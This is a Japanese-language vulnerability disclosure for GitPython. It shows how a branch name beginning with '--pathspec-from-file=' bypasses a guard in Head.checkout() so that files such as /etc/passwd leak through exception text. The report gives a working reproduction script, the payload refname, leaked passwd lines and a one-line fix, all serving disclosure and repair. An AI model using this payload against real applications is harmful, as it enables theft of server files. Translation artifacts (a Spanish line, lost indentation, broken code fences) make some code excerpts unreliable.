GitPython: `Head.checkout()`関数における、攻撃者によって制御されるブランチ名を利用した任意のファイル読み込みの脆弱性(CVE-2026-78679の未完の修正)

> **参照されているファイルについて。** このレポートは、GitHubの非公開脆弱性報告APIを通じて提出されたもので、添付ファイルは含まれていません。このレポートに含まれるすべての内容は、**上記の本文**にそのまま記述されています。レポートで言及されているファイル名(`poc.sh`、`poc.log`、ケースごとのトランスクリプト、`evidence.md`、`negative-controls.md`、blob-sweepテーブル)は、上記の抜粋が抽出されたローカルの証拠バンドルであり、チェックサムのマニフェストが付属しています。ご希望のチャネルでバンドルをお送りすることも、プライベートフォークを作成することも可能です。PoCスクリプトはスタンドアロンで、クリーンな環境で同じ結果を再現できます。

---

**影響を受けるバージョン:** `<= 3.1.62` — すべての公開リリース。また、`main`ブランチの`4905b4af`コミット以降。
**実行時の検証:** GitPython `3.1.62`、git `2.55.0`
**日付:** 2026年9月10日
**報告者:** MAXI8594

---

## 脅威モデル

| | |
|---|---|
| **攻撃者** | アプリケーションが攻撃者が制御するURLをクローンさせる能力を持つ者。アカウント、認証情報、およびアプリケーション自体での権限は不要。 |
| **前提条件** | 攻撃者がホストするリポジトリ。`HEAD`が、ペイロードとして機能するブランチを指していること。単純なgitサーバーへの`git push`で十分であり、サーバーのファイルシステムへのアクセスは不要(`raw/06`)。 |
| **結果** | アプリケーションのプロセスが読み取ることができる任意のファイルのコンテンツが、例外を通じて返される。`/etc/passwd`ファイルの34行中34行が復元された。 |
| **現実的な発生可能性** | **高い。** 脆弱なアプリケーションは、特異な設定のない、通常のコード6行で構成されている:`Repo.clone_from(user_url)`の次に`repo.active_branch.checkout()`。`allow_unsafe_options=False`がデフォルト設定。ユーザーが提供するURLのクローンは、このライブラリの中核的な使用例であり、CIシステム、リポジトリインポーター、スキャナ、およびボットなどが該当する。 |

**他の脆弱性との深刻度比較について。** GitHubは、CNAとして、このクラスの過去3つの脆弱性について、それぞれ6.5 / `PR:L`(CVE-2026-76217、CVE-2026-78678、CVE-2026-78679)という評価を行いました。
今回の報告では、7.5 / `PR:N`を求めていますが、その違いは、過去の3つの脆弱性では、攻撃者が操作した値をAPIに渡す必要があったのに対し、今回の場合、そのような操作は一切行われないという点です。
クローン処理によって、悪意のあるブランチが自動的に作成され、`repo.active_branch`がそれを返す(`raw/02`)。もしこの動作が受け入れられない場合、`Repo.create_head()`を介した`PR:L`のパスも存在し、その場合の深刻度は6.5となり、他の脆弱性と一致します。

## 概要

`Head.checkout()`は、安全でないGitオプションに対する`**kwargs`を保護しますが、自身の位置引数であるブランチ名を検査することはありません。このブランチ名は、`--`という区切りなしに`git checkout`の引数として渡されます。
デフォルトのブランチ名が`--pathspec-from-file=/etc/passwd`という名前になっているリポジトリをクローンし、デフォルトのブランチをチェックアウトするだけで、そのファイルの内容全体が呼び出し元に返される可能性があります。

これは、プロジェクトがすでに修正済みの2つの脆弱性の組み合わせです。

- **CVE-2026-76217** (`GHSA-hh9p-6wh2-4mfc`) — *"`IndexFile.remove()`**および`Head.checkout()`**において、`--pathspec-from-file`を介した任意のファイル読み込みの脆弱性"*。3.1.58で、コミット`f2550b65`によって修正されました。このコミットは、このメソッドに保護を追加しましたが、`**kwargs`のみに適用されました。
- **CVE-2026-78679** (`GHSA-3wxw-xv34-2frg`) — *"`TagReference.create`の位置引数は、`kwargs`のみの`--file`の保護を回避し、任意のファイル読み込みを可能にする(3af0c251の不完全な修正)"*。3.1.59で、コミット`1b0d2d9b`によって修正されました。このコミットは、`git/refs/tag.py`、`git/diff.py`、`git/index/base.py`および`git/repo/base.py`に位置引数のチェックを適用しましたが、`git/refs/head.py:286`には適用されていません。

コミット`f2550b65`のコミットメッセージには、監査で位置引数のバリアントが発見され、`HEAD.reset`に適用されたと記載されています。これは、`Head.checkout`から185行上の、同じファイル、同じコミットに含まれています。

「監査でも、**`reset`コマンドの引数区切り文字の前にオプションが記述される可能性がある**ことが判明しました。 […] **`reset`コマンドの引数だけでなく、キーワードオプションも確認してください**。」

`HEAD.reset`については修正が適用されました。`Head.checkout`については修正されず、`1b0d2d9b`というコミットは適用されませんでした。

## 影響を受けるコンポーネント

| | |
|---|---|
| パッケージ | `GitPython` (PyPI) |
| 影響を受けるバージョン | **`<= 3.1.62`** — すべての公開リリース |
| 最終テストバージョン | `3.1.62` |
| 該当箇所 | `main` @ `4905b4af` |
| 脆弱なファイル | `git/refs/head.py` |
| 対策 | 286行目 — `Git._option_candidates([], kwargs)` |
| 脆弱箇所 | 293行目 — `self.repo.git.checkout(self, **kwargs)` |
| CWE | CWE-88 (引数注入), CWE-73 (ファイル名またはパスの外部制御), CWE-200 (機密情報の漏洩) |
| CVSS 3.1 | `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` → **7.5 (高)** |

バージョン範囲は、日付ではなく、**各タグに対するblobハッシュ**に基づいて決定されました。脆弱な箇所である`self.repo.git.checkout(self, **kwargs)`(`--`区切り文字がない)は、`git/refs/head.py`ファイルにおいて、`0.3.1-beta2`から`3.1.62`までのすべてのタグに含まれています。`3.1.62`のblobは、`main`ブランチとバイト単位で同一です:`7f563374ef9e018b3d5f95054498e8591e112ce2`。詳細な情報は`raw/07-blob-version-sweep.txt`に記載されています。

`kwargs`のみを受け付ける対策が初めて導入されたのは**`3.1.58`**です。したがって、`3.1.58`から`3.1.62`のバージョンに「不完全な修正」が適用されます。それ以前のバージョンでは、対策が全く施されていません。

## 脆弱性の詳細

### 根本原因

`git/cmd.py:1045` — `_option_candidates()`関数は、引数として渡された引数のみを検査します。

```python
@classmethod
def _option_candidates(cls, args: Sequence[Any] = (), kwargs: Optional[Mapping[str, Any]] = None) -> List[str]:
"""コマンドライン変換前の、考えられるオプションのスペルを収集します。"""
options = [
option for option in cls._unpack_args([arg for arg in args if arg is not None]) if option.startswith("-")
]
```

`_option_candidates([], kwargs)` は、以下の意味を持ちます。*キーワード引数をチェックし、コマンドラインにこのメソッドが配置する位置引数をチェックしない。* これは、メソッドが攻撃者によって制御される位置引数を持たない場合、またはそれらを `--` で区切っている場合に問題ありません。

`git/refs/head.py:283-293` — `Head.checkout()` は、以下のコードを持っています。

```python
if not allow_unsafe_options:
Git.check_unsafe_options(
options=Git._option_candidates([], kwargs),
unsafe_options=Git.unsafe_git_pathspec_from_file_options,
)
kwargs["f"] = force
if kwargs["f"] is False:
kwargs.pop("f")

self.repo.git.checkout(self, **kwargs)
```

`self` は唯一の位置引数です。これはブランチ名に変換され、`git checkout` の引数リストに配置されますが、チェック対象のリストには含まれません。`_call_process` は `args_list = opt_args + ext_args` を構築するため、キーワード引数由来のオプションが位置引数よりも前に配置されます。そのため、ライブラリの他の部分では `--` を最初に配置しています (`Remote.fetch/pull/push`, `Repo._clone`, `Repo.archive`, `IndexFile.remove`, `Commit.count` など)。`Head.checkout` はそうしていません。

### ブランチ名が攻撃者によって制御される理由

Git は、ブランチコンポーネントが `-` で始まり、`/` を含むリファ名を受け入れます (`raw/02-refname-accepted-and-cloned.txt`):

```
>>> git check-ref-format 'refs/heads/--pathspec-from-file=/etc/passwd'
exit=0 stderr=''
=> un refname que empieza con '-' y lleva '/' es VALIDO para git

>>> git -C <bare> update-ref 'refs/heads/--pathspec-from-file=/etc/passwd' beea87239099
exit=0 stderr=''
>>> git -C <bare> symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'
exit=0
HEAD del bare = refs/heads/--pathspec-from-file=/etc/passwd
ref en disco como arbol jerarquico: True
```

>>> Repo.clone_from('file://<bare>', <victim>) # アプリケーションは単にクローンを実行するだけ
クローンによって作成されるローカルのブランチ:
refs/heads/--pathspec-from-file=/etc/passwd
repo.active_branch.name = '--pathspec-from-file=/etc/passwd'
ホスト名との一致:True
```

上記のトランスクリプトの後半部分にも記載されていますが、`git clone`は、リモートの`HEAD`がそのブランチを指している場合、**そのブランチをローカルに自動的に作成します**。この操作は、利用するアプリケーションが要求するものではありません。

通常のGitサーバーは、`receive-pack`を通じてリファ名を許可しますが、`--force`オプションや特別な設定ファイル(`raw/06-push-accepts-refname.txt`)は必要ありません。そのため、攻撃者はサーバーのファイルシステムへのアクセス権を必要としません。`git push`コマンドだけで十分です。この動作と、`raw/02`で示されているクローン操作は、どちらも`file://`というトランスポートを使用しており、これは`https://`と同じGitのプロトコルを使用します。私は、ホストされたForgeに対してはテストを行いませんでした。なぜなら、それは第三者への書き込みを伴うからです。

### 情報漏洩が呼び出し元に伝わる理由

ファイルの内容は、`CommandError.__str__`の中に含まれており、`.stderr`属性の中だけではありません(`git/exc.py`)。

```python
self.stderr = stderr_decode and "\n stderr: '%s'" % stderr_decode or ""

def __str__(self) -> str:
return (self._msg + "\n cmdline: %s%s%s") % (
self._cmd, self._cause, self._cmdline, self.stdout, self.stderr,
)
```

したがって、`logging.exception(...)`や`print(e)`を使用したり、単に**例外をキャッチしない**ことで、ファイルの内容が公開されてしまいます。開発者は`.stderr`が存在することを知る必要はありません。

### 完全なプロセス

```
Repo.clone_from(<攻撃者URL>)
↓ remote HEADがrefs/heads/--pathspec-from-file=/etc/passwdを指す
↓ git cloneが、ユーザーからの要求なしに、そのローカルブランチを作成する
repo.active_branch → 名前が "--pathspec-from-file=/etc/passwd" のHead
↓
Head.checkout() git/refs/head.py:286 — guardはキーワード引数のみを検査する
↓ self.repo.git.checkout(self, **kwargs) git/refs/head.py:293 — "--" は使用されない
git checkout --pathspec-from-file=/etc/passwd
↓ gitは、一致しないパスごとに1つの`error:`を出力する — ファイルの1行ごとに1つ
GitCommandError → CommandError.__str__ → 呼び出し元

## 再現手順

環境: GitPython 3.1.62, git 2.55.0, Linux x86_64, 一時的な仮想環境。すべてローカル —
一時的なリポジトリと`file://`プロトコルを使用。リモートホストやサードパーティのリポジトリは使用しない。

同梱されている`poc.sh`は、7つのシナリオをまとめて実行し、`poc.log`と、各シナリオごとのファイルを`raw/`ディレクトリに書き込む。最小限の手動での再現手順は以下の通り:

```bash
python3 -m venv /tmp/gp && /tmp/gp/bin/python -m pip install gitpython==3.1.62

W=$(mktemp -d)
git init -q -b main "$W/a"; echo x > "$W/a/f.txt"
git -C "$W/a" add f.txt
git -C "$W/a" -c user.email=a@b -c user.name=a commit -qm c
git clone -q --bare "$W/a" "$W/a.git"
SHA=$(git -C "$W/a.git" rev-parse HEAD)

# 攻撃者は、取得したいファイルの名前をデフォルトブランチに付ける
git -C "$W/a.git" update-ref 'refs/heads/--pathspec-from-file=/etc/passwd' "$SHA"
git -C "$W/a.git" symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'

cat > "$W/consumer.py" <<'PYEOF'
import logging, sys, git
logging.basicConfig(level=logging.INFO, format="%(message)s")
try:
repo = git.Repo.clone_from(sys.argv[1], sys.argv[2]) # ユーザーが指定するURL
repo.active_branch.checkout() # クリーンなワーキングツリーを確保する
except git.exc.GitCommandError:
logging.exception("クローンに失敗しました")
PYEOF

/tmp/gp/bin/python "$W/consumer.py" "file://$W/a.git" "$W/victim"
```

### リクエスト内容
```

実際の `git checkout` コマンドの引数(argv)、これは `Git.execute` を監視することで取得されました(`raw/01-real-argv.txt`)。
GitPython が実際に構築したコマンドです。ブランチ名はオプションとして扱われています。

```
argv real : ['git', 'checkout', '--pathspec-from-file=/tmp/gpargv-9im8ao2d/SECRET.txt']
```

### 生データ

出力結果(`raw/05-six-line-consumer.txt`、末尾)— git は、一致しないパスごとに `error:` という行を出力します。これは、ターゲットファイルの各行に対して1つずつです。

```
error: pathspec 'mysql:x:958:958:MariaDB:/var/lib/mysql:/usr/bin/nologin' は、git が認識するファイルと一致しません
error: pathspec 'flatpak:x:957:957:Flatpak system helper:/:/usr/bin/nologin' は、git が認識するファイルと一致しません
error: pathspec 'wazuh:x:956:955:Wazuh Agent:/var/ossec:/usr/sbin/nologin' は、git が認識するファイルと一致しません
error: pathspec 'jdownloader:x:955:954:jdownloader:/opt/JDownloader/:/bin/false' は、git が認識するファイルと一致しません
error: pathspec 'cups-browsed:x:953:953:CUPS printer discovery:/:/usr/bin/nologin' は、git が認識するファイルと一致しません
```

`raw/03-full-file-disclosure.txt` は、実際のファイルに対する復元状況をカウントしています。

```
対象ファイル: /etc/passwd (空行を含まない行数: 34)
[CASE] repo.active_branch.checkout() — ブランチ名が指定されませんでした
repo.active_branch.name = '--pathspec-from-file=/etc/passwd'
-> GitCommandError. /etc/passwd から復元された行数: 34 / 34
```

## 影響

攻撃者が、自身が管理するリポジトリをクローンさせるようにアプリケーションを操作した場合、アプリケーションのプロセスが読み取れるすべてのファイルの内容が、結果として返されます。
`poc.log` に記録された実行では、`/etc/passwd` が完全に復元されました(34行中34行)。

攻撃者は、**対象のアプリケーションのアカウントや権限を必要とせず、また、どこでも設定変更を行う必要はありません**。`allow_unsafe_options=False` がデフォルトであり、脆弱なコンシューマーはわずか6行の通常のコードで構成されています。
これは、このライブラリの中核的な利用例です。CIシステム、リポジトリインポーター、スキャナ、およびユーザーが提供するURLをクローンするボットなどが該当します。

### 影響を与える前提条件

**成立する場合:** 攻撃者が選択したデフォルトのブランチ名を持つリポジトリを、利用するアプリケーションがクローンし、その後、`Head.checkout()` を呼び出す場合。これは、通常 `repo.active_branch.checkout()` のように、アプリケーションからブランチ名を一切受け取らずに実行されます。

**情報源:** 攻撃者によるもの。リモートリポジトリの `HEAD` と参照情報から。検証方法は2つあります。まず、ベアリポジトリに対して `git update-ref` と `symbolic-ref` を実行する方法、次に、通常の Git サーバーに対して `git push` を実行する方法です。`receive-pack` は、`--force` や特別な設定なしでこれを受け入れます (`raw/02-refname-accepted-and-cloned.txt`, `raw/06-push-accepts-refname.txt`)。アプリケーションは決してブランチ名を書き込みません。`git clone` がそれを生成します。

**観察された環境:** `validation/gitpython/head-checkout-positional-pathspec/` — GitPython 3.1.62 (最新リリース) と git 2.55.0 を使用し、`poc.log` に記録された単一の実行 (2026-09-10T02:10:23-03:00) で確認されました。読み込まれたファイル: `/etc/passwd`。呼び出し元によって、34行中34行が復元されました。

### 明確な制限事項

- 正しいスペルで記述された完全な形式でのみ有効です。参照名はスペースを含めることができないため、単一の引数として扱われます。`git` は短縮形を拒否します。これは、ペイロードの開発中に確認されたものであり、添付された実行結果には含まれていません。添付された実行結果は、有効な形式でのみ動作を確認しています。
- 攻撃者は、ターゲットファイルへの絶対パスを知っている必要があります。
- 行は、リポジトリ内のパスと一致しない場合にのみ公開されます。単一ファイルの悪意のあるリポジトリの場合、どの行も一致しないため、攻撃者はこの条件も制御できます。
- 完全なファイルの結果は、`git 2.55.0` で測定されました。`git checkout` は、一致しないパスごとに1つの `error:` を出力します。`GHSA-hh9p-6wh2-4mfc` は、`--pathspec-from-file` だけでは最初の行のみが引用されると述べていますが、これは `git rm` の場合で、最初の行で `fatal:` エラーが発生します。しかし、`git checkout` の `2.55.0` の場合は当てはまりません。

## 負の制御

各コントロールが何を検証し、どのような場合に無効になるかの詳細な説明は、`negative-controls.md` に記載されています。
すべてのバッチは、必ずしも正のコントロールで開始し、終了します。終了時の正のコントロールが正常に動作しない場合、そのバッチは破棄されます。

**正のコントロール(開始時と終了時、4つのバッチ)。** `Head.checkout(pathspec_from_file="/etc/passwd")`
— 同じペイロードをキーワード引数で指定。すべてのバッチでエラーが発生します。
`UnsafeOptionError: --pathspec-from-file は許可されていません。許可するには、allow_unsafe_options=True を使用してください。`
これは、ガードが存在し、デフォルトで有効になっており、そのオプションを認識していることを証明しています。したがって、他の場所でnullの結果が出たとしても、それがコードに到達できないことが原因ではありません。

**負のコントロール。** 同じ呼び出しを `benigna` という名前のブランチで行います。変える点は、先頭の `-` の有無だけです。結果: `['git', 'checkout', 'benigna']`、例外は発生せず、0行が公開されました。

**精度コントロール — 1つのファイル内の非対称性** (`raw/04-precision-control-reset-vs-checkout.txt`)。
同じペイロードを、`git/refs/head.py` 内の、同じコミットでガードが追加された2つのメソッドに対して実行します。そのコミットでは、185行の差があります。

```
[精度コントロール] 同じファイル、同じ修正コミット、2つのメソッド
HEAD.reset(commit=PAYLOAD) ガードは位置引数を参照する。ガードによってブロックされる。(--pathspec-from-file が使用され、情報漏洩=0行 [OK])
Head.checkout() ガードは位置引数を参照しない。GitCommandError 情報漏洩=34行 [OK]
```

`HEAD.reset` (`head.py:101`, `_option_candidates([commit], kwargs)`) は、`Head.checkout` (`head.py:286`, `_option_candidates([], kwargs)`) が許可するものをブロックします。これにより、`--pathspec-from-file` を含む文字列がgitに到達すると、ファイルが公開されるという別の可能性を排除できます。

## 修正

1行の修正で、`f2550b65` がこのファイル内の `HEAD.reset` に対してすでに実行した内容と一致します。

```python
options=Git._option_candidates([self], kwargs),
```

**別の候補者も評価され、却下されました。**
`self.repo.git.checkout("--", self, **kwargs)`と記述すると、ライブラリ内の他の場所で使用されている`--`のパターンと一致し、将来の`git checkout`オプションにも対応できますが、**意味が変わってメソッドが機能しなくなります**。`git checkout -- <arg>`の場合、`--`の後のすべてのものが*パススペック*であり、ブランチ名ではありません。このコマンドはブランチの切り替えを停止し、ファイルの復元を開始します。`--`のパターンは、`fetch`/`pull`/`push`/`clone`/`archive`/`rm`では有効です。なぜなら、それらのコマンドの引数は実際にブランチ名ではないからです。しかし、このパターンはここでは適用できません。

セキュリティ対策として、`Repo.create_head()`で、`-`で始まるブランチ名を拒否するようにすることもできます。これにより、脆弱な`PR:L`のパスも塞がれます。これは別の、オプションの変更です。

## 既存の類似事例と重複排除

GitHubデータベース内のすべてのGitPythonに関する報告を調査しました。
`gh api advisories -f ecosystem=pip -f affects=GitPython -f per_page=100 --paginate`を実行すると、**47件**の結果が得られます(`per_page`を指定しない場合、最初の30件のみが表示されます)。`Head.checkout`は2件の報告に記載されていますが、そのうち1件(`GHSA-w672-…`)は重複として取り下げられ、残るのは1件の重要な報告です。

- **`GHSA-hh9p-6wh2-4mfc` / CVE-2026-76217** — 同じメソッドですが、**kwargs**のパス(`pathspec_from_file=…, pathspec_file_nul=True`)に関するもので、3.1.58で修正されました。このパスは現在修正済みであり、このレポートの各バッチにおける正のコントロールとして機能しています。ただし、この報告は**引数**のパスには対応していません。

関連する報告は存在しません。

- **`GHSA-3wxw-xv34-2frg` / CVE-2026-78679** — 同じ**クラス**(位置引数による回避、kwargsのみを受け付けるガードを回避)が、別のメソッド `TagReference.create` で発生しており、3.1.59 で `1b0d2d9b` によって修正されました。この修正は `head.py:286` に戻っていません。
- **`GHSA-956x-8gvw-wg5v` / CVE-2026-67323** — `--` の前に値が置かれた場合に、先頭のハイフンチェックが行われていないという問題の先例。`Repo.iter_commits` / `Repo.blame` で発生しています。これらの箇所では位置引数がガードに渡されますが、この箇所では渡されていません。
- **`GHSA-7545-fcxq-7j24` / CVE-2026-44243** — 参照APIにおける参照名によるパストラバーサル。異なる脆弱性箇所(ファイルシステムのパス構築)と影響(書き込みと削除)がありますが、攻撃者が操作した参照名が許容されるという前提が、このプロジェクトで既に受け入れられていることを示しています。

### 修正提案は未提出

`gh search issues` がプルリクエストを除外するため、3つの箇所を検索しました。具体的には、`gh search prs`、`gh search issues`、および生の `search/issues` API です。**`Head.checkout` におけるガードへの位置引数の受け渡しに関する、未解決または未解決の issue やプルリクエストは見つかりませんでした。** このガードに関わる3つのプルリクエスト(#2204、#2180、#2163)はすべてマージされており、そのどれもがこの機能を提供していません。#2204 は、このファイル内の *両方の* 呼び出し箇所を導入したプルリクエストであり、そのうち1つは位置引数をチェックし、もう1つはチェックしていません。詳細な情報は `dup-check.md` に記載されています。

### プロジェクト自身のテストでも同様の非対称性が見られる

`test/test_refs.py` は、両方のメソッドでガードをテストしており、このレポートで指摘されている違いを正確にカバーしています。

- `HEAD.reset` — **位置引数** がテストされています(304-308 行)。
- `Head.checkout` — **kwargs** のパスのみがテストされています(282-291 行)。

したがって、位置引数を使用したケースは、テストスイートが既にどのように記述できるかを知っているケースであり、単に `checkout` の場合は記述されていませんでした。#2204 によって `Head.checkout` に追加されたドキュメント文字列には、`--pathspec-from-file` が `allow_unsafe_options` 経由での明示的な許可が必要であると記載されています。これは、位置引数を使用したパスが提供しない保証です。プロジェクトのどこにも、この箇所で位置引数が許容されるという記述はありません。

### 一行の修正がなぜ機能するのか、一見すると明らかではない理由

`Reference.__str__` は `self.name` を返しますが、`self.path` ではありません。`Reference.name` は、最初の2つのパスの構成要素を取り除きます(`reference.py:122-132`)。したがって、`/etc/passwd` からのパス指定で構築された `Head` オブジェクトは、`check_path` を通過します。なぜなら、パスは `refs/heads/` で始まるからです。一方、`str()` を使用すると、単純なオプション名が返されます。`[self]` を `_option_candidates` に渡すと、ガードが同じシリアル化された文字列を検出し、それが、この1行の変更によって問題が解決される理由です。

## 証拠

| ファイル名 | 示している内容 |
|---|---|
| `poc.sh` | ドライバー — 全7つのシナリオをまとめて実行します |
| `poc.log` | 単一の参照実行の完全なログ |
| `raw/00-versions-and-source.txt` | テスト対象のバージョンは公開版であること; ガードとシンクが存在すること; `def checkout(` が1回だけ出現するため、シンクの行が明確であること |
| `raw/01-real-argv.txt` | `git checkout` の実際の引数 (`argv`)。`Git.execute` をインストルメント化することで取得 |
| `raw/02-refname-accepted-and-cloned.txt` | git がリファ名を許可し、`Repo.clone_from` が要求されなくてもそれを実現すること |
| `raw/03-full-file-disclosure.txt` | `/etc/passwd` の34行中34行が復元されたこと |
| `raw/04-precision-control-reset-vs-checkout.txt` | `HEAD.reset` が `Head.checkout` が許可するものをブロックすること |
| `raw/05-six-line-consumer.txt` | 6行のコンシューマー、完全にそのまま; 例外がログに記録されたとき、または未処理の場合に情報漏洩が発生すること |
| `raw/06-push-accepts-refname.txt` | 通常の git サーバーが `push` を介してリファ名を許可すること |
| `raw/07-blob-version-sweep.txt` | ブロブのハッシュによる影響範囲、タグごとの影響範囲 |
| `negative-controls.md` | 各コントロールが何を分離し、何がそれを無効にするか |
| `evidence.sha256` | すべての raw ファイルとスクリプトの整合性 |

## 報告

この脆弱性は、GitHub のプライベートな脆弱性報告システムを通じて非公開で報告されました。サードパーティのシステムは一切影響を受けていません。このレポートに含まれるすべてのリポジトリは一時的なローカルリポジトリであり、すべての通信は `file://` を使用します。

影響を受けるパッケージ:
- pip (Python) GitPython: 影響を受けるバージョンは 3.1.62 以前、3.2.0 で修正済み。